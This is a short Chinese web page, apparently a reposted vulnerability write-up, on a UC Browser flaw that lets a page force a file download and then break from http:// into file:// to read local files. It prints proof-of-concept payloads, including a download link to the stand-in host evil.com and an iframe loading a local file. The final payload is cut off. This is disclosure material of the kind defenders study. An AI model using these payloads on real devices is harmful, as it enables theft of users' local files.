注册
登录
| 关键词： important nbsp 0px border radius 浏览器 文件 UCDownloads http evil |
UC浏览器最新版可通过下面的链接自动下载文件。 ext:uc_dw:http://www.evil.com/evil.html UC浏览器默认的下载路径为/sdcard/UCDownloads 所以自动下载保存文件名为/sdcard/UCDownloads/evil.html UC浏览器虽然禁止在http://的页面中直接调用file://，但还是可以从http://跨到file://。POC如下: <iframe src=ext:wo:file:///evil.html></iframe> 接下来就可以读取本地文件了，最后的POC如下:?1234567
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
